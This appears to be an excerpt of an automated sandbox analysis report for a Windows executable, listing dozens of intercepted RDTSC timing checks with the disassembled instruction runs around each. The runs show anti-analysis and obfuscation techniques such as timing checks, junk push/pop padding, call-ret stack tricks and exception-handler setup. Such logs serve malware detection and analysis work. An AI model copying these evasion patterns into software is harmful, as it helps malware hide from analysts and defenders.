Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F38247 second address: F38265 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F84ECDED156h 0x00000008 jne 00007F84ECDED156h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 jl 00007F84ECDED156h 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F77E7C second address: F77E8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F77E8F second address: F77EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECDED169h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7800C second address: F78031 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F84ECC38F96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F78031 second address: F78054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jnp 00007F84ECDED195h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F78054 second address: F78068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECC38FA0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7872D second address: F78738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F84ECDED156h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F78738 second address: F78752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECC38FA6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F79270 second address: F7929B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop esi 0x0000000d jmp 00007F84ECDED164h 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7929B second address: F792A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F792A0 second address: F792CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007F84ECDED156h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jnc 00007F84ECDED160h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 je 00007F84ECDED15Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F792CB second address: F792DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop eax 0x0000000a push 55D1ADE8h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F792DF second address: F792E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F795CD second address: F795D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F79836 second address: F79853 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F84ECDED158h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F84ECDED15Ch 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F79853 second address: F7986C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECC38FA5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7A359 second address: F7A36E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F84ECDED15Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7A36E second address: F7A374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7A374 second address: F7A378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C302 second address: F7C30C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F84ECC38F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7B9F6 second address: F7B9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C30C second address: F7C366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F84ECC38FA2h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F84ECC38F98h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 cld 0x0000002a push 00000000h 0x0000002c sbb di, DDD5h 0x00000031 push 00000000h 0x00000033 mov esi, dword ptr [ebp+122D2B2Ch] 0x00000039 cld 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jns 00007F84ECC38F96h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C366 second address: F7C36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C36B second address: F7C37E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F84ECC38F96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C37E second address: F7C382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C382 second address: F7C388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C388 second address: F7C38E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C38E second address: F7C392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7DFEB second address: F7DFF5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F84ECDED15Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8482C second address: F84830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F888F9 second address: F888FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F82A27 second address: F82A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8998A second address: F899A5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F84ECDED15Ch 0x00000008 jp 00007F84ECDED156h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F84ECDED156h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F83A64 second address: F83A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F85A3F second address: F85A45 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F86A08 second address: F86A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F88A0C second address: F88A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F84ECDED156h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F899A5 second address: F899AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F83A68 second address: F83A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F85A45 second address: F85A4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F84ECC38F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F84AD2 second address: F84AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F88A17 second address: F88A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F84ECC38F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F86A0E second address: F86AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F84ECDED167h 0x0000000c jne 00007F84ECDED158h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F84ECDED158h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e xor dword ptr [ebp+122D351Ah], eax 0x00000034 xor dword ptr [ebp+122D2A3Bh], ebx 0x0000003a push dword ptr fs:[00000000h] 0x00000041 xor ebx, dword ptr [ebp+122D28CEh] 0x00000047 mov dword ptr fs:[00000000h], esp 0x0000004e mov edi, dword ptr [ebp+122D2CA4h] 0x00000054 mov eax, dword ptr [ebp+122D0CC9h] 0x0000005a push 00000000h 0x0000005c push eax 0x0000005d call 00007F84ECDED158h 0x00000062 pop eax 0x00000063 mov dword ptr [esp+04h], eax 0x00000067 add dword ptr [esp+04h], 00000015h 0x0000006f inc eax 0x00000070 push eax 0x00000071 ret 0x00000072 pop eax 0x00000073 ret 0x00000074 sub dword ptr [ebp+122D2599h], edi 0x0000007a mov ebx, dword ptr [ebp+122D2B7Ch] 0x00000080 push FFFFFFFFh 0x00000082 jmp 00007F84ECDED15Ah 0x00000087 push eax 0x00000088 pushad 0x00000089 jnl 00007F84ECDED15Ch 0x0000008f push ebx 0x00000090 push eax 0x00000091 push edx 0x00000092 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F899AB second address: F899B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F83A6E second address: F83A74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F85A4F second address: F85A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F83A74 second address: F83A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F85A5D second address: F85A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F83A78 second address: F83A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F85A62 second address: F85A67 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F85A67 second address: F85B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push dword ptr fs:[00000000h] 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F84ECDED158h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D3905h], esi 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 movsx ebx, bx 0x00000039 mov eax, dword ptr [ebp+122D0CE5h] 0x0000003f push 00000000h 0x00000041 push eax 0x00000042 call 00007F84ECDED158h 0x00000047 pop eax 0x00000048 mov dword ptr [esp+04h], eax 0x0000004c add dword ptr [esp+04h], 0000001Ch 0x00000054 inc eax 0x00000055 push eax 0x00000056 ret 0x00000057 pop eax 0x00000058 ret 0x00000059 mov edi, edx 0x0000005b jmp 00007F84ECDED162h 0x00000060 push FFFFFFFFh 0x00000062 jmp 00007F84ECDED162h 0x00000067 jno 00007F84ECDED156h 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 jo 00007F84ECDED15Ch 0x00000076 jnc 00007F84ECDED156h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8A9FB second address: F8AA3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F84ECC38F98h 0x0000000f popad 0x00000010 nop 0x00000011 adc edi, 37AEAAC6h 0x00000017 push 00000000h 0x00000019 mov bl, 13h 0x0000001b push 00000000h 0x0000001d pushad 0x0000001e mov dword ptr [ebp+12457A82h], ecx 0x00000024 mov bl, 7Dh 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push ebx 0x0000002d pop ebx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8AA3B second address: F8AA41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8BA93 second address: F8BA99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8F2DB second address: F8F2F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8F2F0 second address: F8F3B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jno 00007F84ECC38F9Eh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F84ECC38F98h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F84ECC38F98h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 call 00007F84ECC38FA4h 0x0000004c or ebx, dword ptr [ebp+122D2DA4h] 0x00000052 pop ebx 0x00000053 push 00000000h 0x00000055 push 00000000h 0x00000057 push edx 0x00000058 call 00007F84ECC38F98h 0x0000005d pop edx 0x0000005e mov dword ptr [esp+04h], edx 0x00000062 add dword ptr [esp+04h], 0000001Bh 0x0000006a inc edx 0x0000006b push edx 0x0000006c ret 0x0000006d pop edx 0x0000006e ret 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F84ECC38FA8h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9027C second address: F90299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECDED169h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F90299 second address: F902AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F84ECC38F98h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F902AC second address: F902B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8BCA3 second address: F8BCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8BCA7 second address: F8BCAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8E4C7 second address: F8E4D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECC38F9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8E4D7 second address: F8E500 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jc 00007F84ECDED156h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8E500 second address: F8E5A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, dword ptr [ebp+12467931h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 jno 00007F84ECC38F99h 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F84ECC38F98h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e call 00007F84ECC38FA0h 0x00000043 jl 00007F84ECC38F9Ch 0x00000049 mov edi, dword ptr [ebp+122D3879h] 0x0000004f pop edi 0x00000050 mov eax, dword ptr [ebp+122D12C9h] 0x00000056 jnl 00007F84ECC38F97h 0x0000005c push FFFFFFFFh 0x0000005e nop 0x0000005f pushad 0x00000060 pushad 0x00000061 push eax 0x00000062 pop eax 0x00000063 pushad 0x00000064 popad 0x00000065 popad 0x00000066 push esi 0x00000067 push eax 0x00000068 pop eax 0x00000069 pop esi 0x0000006a popad 0x0000006b push eax 0x0000006c pushad 0x0000006d pushad 0x0000006e jmp 00007F84ECC38FA6h 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8E5A6 second address: F8E5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8F4C4 second address: F8F4CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8F5A9 second address: F8F5AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F914CB second address: F914D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F96F3F second address: F96F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9ABFB second address: F9ABFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9ABFF second address: F9AC13 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F84ECDED156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F84ECDED156h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F3D261 second address: F3D278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F3D278 second address: F3D284 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007F84ECDED156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F3D284 second address: F3D291 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007F84ECC38F96h 0x00000009 pop ebx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9DEB4 second address: F9DEDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F84ECDED164h 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9E1A2 second address: F9E1BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F84ECC38FA6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9E1BE second address: F9E1F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED15Ah 0x00000007 jmp 00007F84ECDED15Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 jmp 00007F84ECDED161h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jg 00007F84ECDED156h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9E1F8 second address: F9E208 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F84ECC38F96h 0x00000008 jng 00007F84ECC38F96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
